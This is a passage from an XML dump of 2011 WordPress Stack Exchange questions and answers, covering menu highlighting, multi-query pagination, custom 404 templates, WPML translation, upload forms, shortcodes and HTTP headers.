'&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;';&#xA;                                        } &#xA;                                    ?&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props_tax --&amp;gt;&#xA;&#xA;&#xA;&#xA;                   &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props_inner --&amp;gt;&#xA;&#xA;                 &amp;lt;/div&amp;gt;&amp;lt;!-- / homepage_props --&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;        }&#xA;    else:&#xA;        echo $wpfp_options['favorites_empty'];&#xA;    endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-16T14:09:54.997" LastActivityDate="2011-06-16T14:09:54.997" CommentCount="7" />
  <row Id="20163" PostTypeId="1" AcceptedAnswerId="20217" CreationDate="2011-06-16T09:30:48.767" Score="2" ViewCount="139" Body="&lt;p&gt;EDIT: This used to be &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I force a page to be&#xA;  &lt;code&gt;is_archive == true&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was trying to solve the wrong problem. Instead of forcing the post/page to have a particular attribute, I should have looked at the classes applied to the menu item. The 'Blog' menu-item has the &lt;code&gt;current-page-ancestor&lt;/code&gt; class applied to it. I can style the menu based on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ORIGINAL QUESTION:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my own theme where I created an &lt;code&gt;archives.php&lt;/code&gt; template in order to have a page that tries to list the different ways to view archives and to give a place for users to browse the archives if they want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a page using the WP admin page and I made it's parent the 'Blog' page. The 'Blog' page is the page where all my posts get emitted. I have a menu at the top and right now, every sub-page under the 'Blog' page causes the menu to highlight 'Blog' (this is the correct behavior). Specifically, the menu item has the style &lt;code&gt;current_page_*&lt;/code&gt; applied to it. This doesn't happen when you load &lt;code&gt;blog/archives&lt;/code&gt; (the template/page I created in the first paragraph).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I click on the date of a blog post, it brings me to an archived post page it looks like this (note that the Blog menu item is highlighted):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/II4St.jpg&quot; alt=&quot;Archived Date Posts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to my archives, it looks like this (note that the menu item is NOT highlighted):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/mA9hx.jpg&quot; alt=&quot;Archives Page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at &lt;code&gt;$wp_query&lt;/code&gt; to see what the difference was. I saw that &lt;code&gt;is_archive&lt;/code&gt; or &lt;code&gt;is_home&lt;/code&gt; was true in the cases where the menu-item was correctly styled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I force my page to be &lt;code&gt;is_archive == true&lt;/code&gt;? I tried to insert a &lt;code&gt;$wp_query-&amp;gt;set('is_archive', 1);&lt;/code&gt; before the call to &lt;code&gt;get_header();&lt;/code&gt; in my template but that didn't work. I also looked in the WP admin dashboard to see if there was something I could click to force the page to be considered an archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: To be clear, I'm looking for a WP solution. I know that I can hard-code the CSS to get the menu item to appear the way I want it to be, but that doesn't seem to be the right thing to do.&lt;/p&gt;&#xA;" OwnerUserId="5909" LastEditorUserId="5909" LastEditorDisplayName="" LastEditDate="2011-06-16T23:14:25.683" LastActivityDate="2011-06-17T00:19:13.137" Title="How do I highlight the menu for a child page?" Tags="&lt;theme-development&gt;&lt;menus&gt;" AnswerCount="5" CommentCount="2" />
  <row Id="20164" PostTypeId="2" ParentId="20152" CreationDate="2011-06-16T09:39:43.620" Score="1" ViewCount="" Body="&lt;p&gt;This has worked for me in the past for a similar situation :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this on top of &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ErrorDocument 401 default&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-16T09:39:43.620" />
  <row Id="20165" PostTypeId="2" ParentId="20046" CreationDate="2011-06-16T10:17:02.633" Score="2" ViewCount="" Body="&lt;p&gt;OK this is what I ended up with, that works well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get paged value.&#xA;$paged = get_query_var( 'paged' );&#xA;$maxPages = array();&#xA;$max = 0;&#xA;&#xA;// Create the queries&#xA;$soundPosts = new WP_Query('posts_per_page=1&amp;amp;cat=4&amp;amp;paged=' . $paged);&#xA;$viewsPosts = new WP_Query('posts_per_page=1&amp;amp;cat=5&amp;amp;paged=' . $paged);&#xA;$wordsPosts = new WP_Query('posts_per_page=1&amp;amp;cat=6&amp;amp;paged=' . $paged);&#xA;&#xA;// get max number of pages for each query&#xA;array_push($maxPages,$soundPosts-&amp;gt;max_num_pages);&#xA;array_push($maxPages,$viewsPosts-&amp;gt;max_num_pages);&#xA;array_push($maxPages,$wordsPosts-&amp;gt;max_num_pages);&#xA;&#xA;// get the max number of pages from all three.&#xA;$max = max($maxPages); &#xA;&#xA;// If we are out of posts, return 404&#xA;if ($paged &amp;gt; $max) {&#xA;$wp_query-&amp;gt;set_404();&#xA;status_header('404');&#xA;}&#xA;&#xA;// proceed as normal.&#xA;get_header(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for the pagination links, just a bit of logic from the variables created to decide whether to show the links or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if ($paged &amp;gt; 0 &amp;amp;&amp;amp; $paged &amp;lt; $max) { ?&amp;gt;&#xA;    &amp;lt;div class=&quot;left&quot;&amp;gt;&amp;lt;?php previous_posts_link('&amp;amp;#60; Previous') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php &#xA;}&#xA;if ($paged &amp;lt;= $max) { ?&amp;gt;&#xA;    &amp;lt;div class=&quot;right&quot;&amp;gt;&amp;lt;?php next_posts_link('Next &amp;amp;#62;','') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditorDisplayName="" LastEditDate="2011-06-16T14:42:46.143" LastActivityDate="2011-06-16T14:42:46.143" />
  <row Id="20166" PostTypeId="2" ParentId="8031" CreationDate="2011-06-16T10:19:13.073" Score="0" ViewCount="" Body="&lt;p&gt;If you are using custom query like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = new WP_query(); &#xA;$cat-&amp;gt;query(&quot;cat=19,20,-23&amp;amp;showposts=5&amp;amp;orderby=rand&quot;); &#xA;while ($cat-&amp;gt;have_posts()) : $cat-&amp;gt;the_post(); &#xA;  $data = get_post_meta( $post-&amp;gt;ID, 'key', true );&#xA;$img_arrays []= $data['productimage']; &#xA;$lnk_arrays[] =get_permalink($post_ID); &#xA;endwhile; &#xA;wp_reset_query(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you won't run into problems. Otherwise, if on the same page there is another loop you are bound to get some unexpected results. I didn't used wp_reset_query() in the above code (which was placed in my header.php file. Then when i got into single.php mostly i get the detail pages of other categories which was frustrating. Later, i realized that i forgot to reset the query at the top. Soon, it started working like a charm.&lt;/p&gt;&#xA;" OwnerUserId="6247" LastActivityDate="2011-06-16T10:19:13.073" />
  <row Id="20167" PostTypeId="2" ParentId="20163" CreationDate="2011-06-16T10:33:21.617" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is all your bothered about is showing&#xA;  the blog tab being highlighted, when&#xA;  on an archive page? – Alex Thomas 38&#xA;  mins ago&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Yes. This is all I am bothered about.&#xA;  I suppose a simple way to rephrase&#xA;  this is that my custom-template page&#xA;  isn't recognized as an archive page. –&#xA;  Avry 18 mins ago&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If this is the case you could be a little crude and just set the style of the blog tab in your archives.php template, using either &lt;code&gt;&amp;lt;style&amp;gt;...&amp;lt;/style&amp;gt;&lt;/code&gt; or give the blog tab the selected class using jquery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#blogtabid').addClass('selectedclass');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How about that?&lt;/p&gt;&#xA;" OwnerUserId="6243" LastActivityDate="2011-06-16T10:33:21.617" CommentCount="2" />
  <row Id="20168" PostTypeId="1" AcceptedAnswerId="20296" CreationDate="2011-06-16T10:33:26.733" Score="1" ViewCount="63" Body="&lt;p&gt;I have previously asked about How to automatically send email to Admin when a user/member changes his/hers profile data. And got some very good answers. &#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12193/send-automatic-mail-to-admin-when-user-member-changes-adds-profile&quot;&gt;Send automatic mail to Admin when user/member changes/adds profile.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a follow up: I only want to send/email the data (profiledata) that was updated/added.&lt;/p&gt;&#xA;" OwnerUserId="3977" LastActivityDate="2011-06-17T18:27:00.023" Title="Send email to Admin when user/member updates specific user/member data" Tags="&lt;admin&gt;&lt;email&gt;&lt;update&gt;&lt;automation&gt;&lt;profiling&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="20169" PostTypeId="2" ParentId="20143" CreationDate="2011-06-16T10:49:04.503" Score="0" ViewCount="" Body="&lt;p&gt;I came up with a function that does the job for now :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Creates a translation of a post (to be used with WPML)&#xA; *  &#xA; * @param int $post_id The ID of the post to be translated.&#xA; * @param string $post_type The post type of the post to be transaled (ie. 'post', 'page', 'custom type', etc.).&#xA; * @param string $lang The language of the translated post (ie 'fr', 'de', etc.).&#xA; *    &#xA; * @return the translated post ID&#xA; *  */&#xA;function mwm_wpml_translate_post( $post_id, $post_type, $lang ){&#xA;&#xA;    // Include WPML API&#xA;    include_once( WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php' );&#xA;&#xA;    // Define title of translated post&#xA;    $post_translated_title = get_post( $post_id )-&amp;gt;post_title . ' (' . $lang . ')';&#xA;&#xA;    // Insert translated post&#xA;    $post_translated_id = wp_insert_post( array( 'post_title' =&amp;gt; $post_translated_title, 'post_type' =&amp;gt; $post_type ) );&#xA;&#xA;    // Get trid of original post&#xA;    $trid = wpml_get_content_trid( 'post_' . $post_type, $post_id );&#xA;&#xA;    // Get default language&#xA;    $default_lang = wpml_get_default_language();&#xA;&#xA;    // Associate original post and translated post&#xA;    global $wpdb;&#xA;    $wpdb-&amp;gt;update( $wpdb-&amp;gt;prefix.'icl_translations', array( 'trid' =&amp;gt; $trid, 'language_code' =&amp;gt; $lang, 'source_language_code' =&amp;gt; $default_lang ), array( 'element_id' =&amp;gt; $post_translated_id ) );&#xA;&#xA;    // Return translated post ID&#xA;    return $post_translated_id;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-16T10:49:04.503" />
  <row Id="20170" PostTypeId="2" ParentId="20157" CreationDate="2011-06-16T10:54:12.600" Score="0" ViewCount="" Body="&lt;p&gt;at the top of your 404.php add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_SERVER['HTTP_REFERER'] == &quot;Whatever&quot;){&#xA;    include('another.php');&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-16T10:54:12.600" CommentCount="1" />
  <row Id="20171" PostTypeId="2" ParentId="20157" CreationDate="2011-06-16T10:54:28.660" Score="2" ViewCount="" Body="&lt;p&gt;Based on your comments, I think I get what you're saying. However, you don't want to &lt;em&gt;redirect&lt;/em&gt; on a 404, since it defeats the object of the 'Not Found' header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can filter the 404 template path and pass back your own;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __custom_404( $standard_404 )&#xA;{&#xA;    if ( something_is_true() )&#xA;        return '/absolute/path/to/custom.php';&#xA;    return $standard_404;&#xA;}&#xA;add_filter( '404_template', '__custom_404' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-16T10:54:28.660" />
  <row Id="20172" PostTypeId="2" ParentId="20156" CreationDate="2011-06-16T11:11:29.310" Score="1" ViewCount="" Body="&lt;p&gt;First add to your for the new input field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;file-form&quot; enctype=&quot;multipart/form-data&quot; action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot; method=&quot;POST&quot;&amp;gt;&#xA;    &amp;lt;p id=&quot;async-upload-wrap&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;async-upload&quot;&amp;gt;upload&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;file&quot; id=&quot;async-upload&quot; name=&quot;async-upload&quot;&amp;gt; &amp;lt;input type=&quot;submit&quot; value=&quot;Upload&quot; name=&quot;html-upload&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p id=&quot;image_title&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;image_title&quot;&amp;gt;Image Title&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;image_title&quot; name=&quot;image_title&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;post_id&quot; id=&quot;post_id&quot; value=&quot;&amp;lt;?php echo $post_id ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;?php wp_nonce_field('client-file-upload'); ?&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Save all changes&quot; name=&quot;save&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then after you save the image and get an attachment id you can update the attachment metadata: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_FILES) {&#xA;    foreach ($_FILES as $file =&amp;gt; $array) {&#xA;        $newupload = insert_attachment($file,$post_id);&#xA;        //get the meta data of the attachment &#xA;        $meta = wp_get_attachment_metadata( $newupload);&#xA;        //set the title&#xA;        $meta['image_meta']['title'] = wp_kses($_POST['image_title']);&#xA;        //update the attachment with the new title.&#xA;        wp_update_attachment_metadata($newupload,$meta);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-16T11:11:29.310" />
  <row Id="20173" PostTypeId="2" ParentId="18091" CreationDate="2011-06-16T11:28:28.277" Score="0" ViewCount="" Body="&lt;p&gt;I recently updated Translate from 1.2 to 1.3. Very simple plug-in, meaning easy to customize. Main advantage is that everything in on one post or page. &lt;/p&gt;&#xA;" OwnerUserId="6248" LastActivityDate="2011-06-16T11:28:28.277" />
  <row Id="20176" PostTypeId="1" AcceptedAnswerId="20211" CreationDate="2011-06-16T11:48:04.537" Score="2" ViewCount="80" Body="&lt;p&gt;I am encountering the same problem described here: &lt;a href=&quot;http://wordpress.org/support/topic/unable-to-set-path-in-a-static-page&quot; rel=&quot;nofollow&quot;&gt;Unable to set path&lt;/a&gt;. In every module where I can edit a page, a &lt;code&gt;p&lt;/code&gt; appears after the word 'Path'. I can click on it; clicking on it highlights some of the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this issue? &lt;img src=&quot;http://i.stack.imgur.com/FuB1n.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-06-16T22:00:23.413" Title="How do I fix my 'Path' field when editing pages via the Dashboard?" Tags="&lt;editor&gt;&lt;dashboard&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20178" PostTypeId="2" ParentId="20141" CreationDate="2011-06-16T12:33:22.120" Score="1" ViewCount="" Body="&lt;p&gt;What Theme are you using? Your question is entirely Theme-dependent, so specific answers will requiring knowing what Theme you use. (Also, it would be helpful to know if any of your Plugins are injecting scripts.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer really depends on how those scripts and scripts are called. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If they are called properly, they are registered and enqueued, which means that you simply need to deregister them. &lt;/li&gt;&#xA;&lt;li&gt;If they are hard-coded into the header, the easiest solution would probably be to create a custom header template file, called e.g. &lt;code&gt;header-custom.php&lt;/code&gt;, which you can then call in your template file, via &lt;code&gt;get_header( 'custom' )&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-16T12:33:22.120" />
  <row Id="20180" PostTypeId="1" AcceptedAnswerId="20190" CreationDate="2011-06-16T12:43:09.803" Score="0" ViewCount="77" Body="&lt;p&gt;I wanted to insert a form with a line of PHP code via shortcode. I am wondering if it's allowed? Has anyone tried it? Take the following for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_form($atts) {&#xA;    return '&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;input&quot; name=&quot;myinput&quot; value=&quot;&quot;&amp;gt;&amp;lt;/input&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;myvar&quot; value=&quot;&amp;lt;?php echo $current_user-&amp;gt;ID; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;/form&amp;gt;';&#xA;}&#xA;add_shortcode('myshortcode', 'get_form');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it's clear now...&lt;/p&gt;&#xA;" OwnerUserId="6232" LastEditorUserId="6232" LastEditorDisplayName="" LastEditDate="2011-06-16T13:49:35.967" LastActivityDate="2011-06-16T13:52:17.510" Title="Insert PHP code via shortcode?" Tags="&lt;shortcode&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="20181" PostTypeId="2" ParentId="20163" CreationDate="2011-06-16T12:46:14.453" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;archives.php&lt;/code&gt; template file is a custom page template file for a &lt;em&gt;static Page&lt;/em&gt;. The &lt;code&gt;is_archive()&lt;/code&gt; and &lt;code&gt;is_home()&lt;/code&gt; conditionals apply to a &lt;em&gt;blog posts archive&lt;/em&gt; and &lt;em&gt;blog posts index&lt;/em&gt;, respectively.So, you're &lt;strong&gt;never&lt;/strong&gt; going to get &lt;code&gt;is_archive()&lt;/code&gt; to return true while displaying the output of &lt;code&gt;archives.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have your &lt;code&gt;archives.php&lt;/code&gt; &lt;em&gt;static Page&lt;/em&gt; appear in the menu:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new static Page, named whatever, e.g. &quot;Archives&quot; (but it is completely arbitrary)&lt;/li&gt;&#xA;&lt;li&gt;Assign the &lt;code&gt;archives.php&lt;/code&gt; custom Page template to this static Page&lt;/li&gt;&#xA;&lt;li&gt;Add this static Page to your custom Nav Menu&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then, you should see it highlighting properly in the menu.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-16T12:46:14.453" CommentCount="1" />
  <row Id="20182" PostTypeId="2" ParentId="20146" CreationDate="2011-06-16T12:58:28.090" Score="1" ViewCount="" Body="&lt;p&gt;Easiest way: Use mod_suphp instead of mod_php. This should just be a matter of using whatever ubuntu's package manager is to remove mod_php and install mod_suphp instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mod_suphp is a slightly modified version of mod_php. It does the same thing, but it sets the user of the apache process to be the same as the owner of the PHP files when the PHP executes. This gives PHP the proper permissions to be able to modify the PHP files owned by that user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually more secure on a shared hosting environment, because in case of a break in via the web, the intruder only gains the privs of the one user account and can't access files outside that user account (whereas with the apache user credentials, he has greater access to many hosting accounts). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, with mod_suphp or any setuid method for running php scripts, this will let WordPress recognize that it can create files with the proper ownership and thus it will use the direct mode for upgrading itself.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-16T12:58:28.090" />
  <row Id="20183" PostTypeId="1" AcceptedAnswerId="20187" CreationDate="2011-06-16T13:01:52.433" Score="0" ViewCount="96" Body="&lt;p&gt;I'm looking for a specific type of gallery plugin implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, it needs to be able to pull from Picasa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I would like it to basically be a static lightbox...and what I mean by this is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Single image displayed with previous/next buttons&lt;/li&gt;&#xA;&lt;li&gt;Able to display the image title/description&lt;/li&gt;&#xA;&lt;li&gt;Able to display &lt;code&gt;Image &amp;lt;x&amp;gt; of &amp;lt;y&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Preferably make use of jQuery&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At this point, I'd prefer to hide all gallery thumbnails and give the focus on the main image.  If thumbnails could be easily hidden and shown with a config option, that would be OK.&lt;/p&gt;&#xA;" OwnerUserId="6250" LastActivityDate="2011-06-16T13:41:21.963" Title="jQuery gallery plugin to interface with Picasa" Tags="&lt;plugins&gt;&lt;gallery&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20185" PostTypeId="2" ParentId="18068" CreationDate="2011-06-16T13:31:44.447" Score="0" ViewCount="" Body="&lt;p&gt;Try using &lt;a href=&quot;http://magicfields.org/&quot; rel=&quot;nofollow&quot;&gt;magic fields&lt;/a&gt;. It will let you create a custom panel for each category, where you can specify just the custom fields needed for that category. It allows you to present it all in a very user friendly way as well, as well as manuy, many, many other cool things. The plugin will change your life if you do this sort of thing often, using wordpress as CMS!&lt;/p&gt;&#xA;" OwnerUserId="6251" LastActivityDate="2011-06-16T13:31:44.447" CommentCount="1" />
  <row Id="20186" PostTypeId="2" ParentId="20180" CreationDate="2011-06-16T13:35:49.910" Score="0" ViewCount="" Body="&lt;p&gt;hi jilseego first of all your question is not clear.I Don't Have permission to Edit This Question.Anyhow i tried to solve.&#xA;I guess, you want to Execute Php code using Shortcode?&#xA;This is possible by this plugin  &lt;a href=&quot;http://wordpress.org/extend/plugins/exec-php/&quot; rel=&quot;nofollow&quot;&gt;PHP Exec&lt;/a&gt; . Just Follow the Instruction There.I hope You will get Answer.if not means tell,what exactly you want...:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-16T13:35:49.910" CommentCount="1" />
  <row Id="20187" PostTypeId="2" ParentId="20183" CreationDate="2011-06-16T13:41:21.963" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-picasa/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Picasa plugin&lt;/a&gt; i think it'll help you,or help to start a new plugin with some ideas..&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-16T13:41:21.963" />
  <row Id="20188" PostTypeId="2" ParentId="18091" CreationDate="2011-06-16T13:50:00.360" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/gtranslate/&quot; rel=&quot;nofollow&quot;&gt;GTranslate&lt;/a&gt;  Am Using This one.Get translations with a single click between 58 languages (more than 98% of internet users) on your website!&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-16T13:50:00.360" />
  <row Id="20189" PostTypeId="2" ParentId="20180" CreationDate="2011-06-16T13:50:39.487" Score="1" ViewCount="" Body="&lt;p&gt;no that wont work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to return all of the value as string/html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_form($atts) {&#xA;    return '&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;input&quot; name=&quot;myinput&quot; value=&quot;&quot;&amp;gt;&amp;lt;/input&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;myvar&quot; value=&quot;'.$current_user-&amp;gt;ID.'&quot;&amp;gt;&#xA;            &amp;lt;/form&amp;gt;';&#xA;}&#xA;add_shortcode('myshortcode', 'get_form');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-16T13:50:39.487" />
  <row Id="20190" PostTypeId="2" ParentId="20180" CreationDate="2011-06-16T13:52:17.510" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$current_user&lt;/code&gt; isn't declared in the scope of that function. You'd want to modify the code to be more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_form($atts) {&#xA;    $current_user = wp_get_current_user();&#xA;    return '&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;input&quot; name=&quot;myinput&quot; value=&quot;&quot;&amp;gt;&amp;lt;/input&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;myvar&quot; value=&quot;' . $current_user-&amp;gt;ID . '&quot;&amp;gt;&#xA;            &amp;lt;/form&amp;gt;';&#xA;}&#xA;add_shortcode('myshortcode', 'get_form');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-06-16T13:52:17.510" CommentCount="1" />
  <row Id="20191" PostTypeId="1" CreationDate="2011-06-16T13:13:24.673" Score="1" ViewCount="105" Body="&lt;p&gt;I use Wordpress Custom Fields to provide customers with various product color codes in a drop-down list, but now I would like to add the various color thumbnails for ease of selection...similar to how color is selected in this site: &lt;a href=&quot;http://www.blackhairspray.com/outre-quick-weave-belinda-outreqsbel.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blackhairspray.com/outre-quick-weave-belinda-outreqsbel.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me an idea of how to do this in wordpress please or point me to a relevant tut?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since googling has failed to provide the goods so i am eagerly holding my breathe for a SuperUser delivery :-)&lt;/p&gt;&#xA;" LastActivityDate="2011-06-16T20:06:24.243" Title="Wordpress shop: enable custormers to select product color using image thumbnails on Custom Fields" Tags="&lt;php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20192" PostTypeId="1" AcceptedAnswerId="20193" CreationDate="2011-06-16T15:40:21.773" Score="0" ViewCount="66" Body="&lt;p&gt;Is there a dedicated WP function, action or filter to use when adding/modifying the HTTP headers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I just hook a PHP header() call into the WP 'init' hook like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'add_header_xua');&#xA;function add_header_xua(){&#xA;    if(!is_admin()){&#xA;        header('X-UA-Compatible: IE=edge,chrome=1');    &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is this the correct way to do that?&lt;/p&gt;&#xA;" OwnerUserId="2071" LastEditorUserId="2071" LastEditorDisplayName="" LastEditDate="2011-06-16T16:11:47.900" LastActivityDate="2011-06-16T16:11:47.900" Title="WP function/filter for modifying http headers?" Tags="&lt;api&gt;&lt;headers&gt;" AnswerCount="1" />
  <row Id="20193" PostTypeId="2" ParentId="20192" CreationDate="2011-06-16T15:54:03.503" Score="1" ViewCount="" Body="&lt;p&gt;The init action is the wrong place to do it. A better place would be at template_redirect, so that you only affect the front end view of the site and not the admin areas.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-16T15:54:03.503" CommentCount="2" />
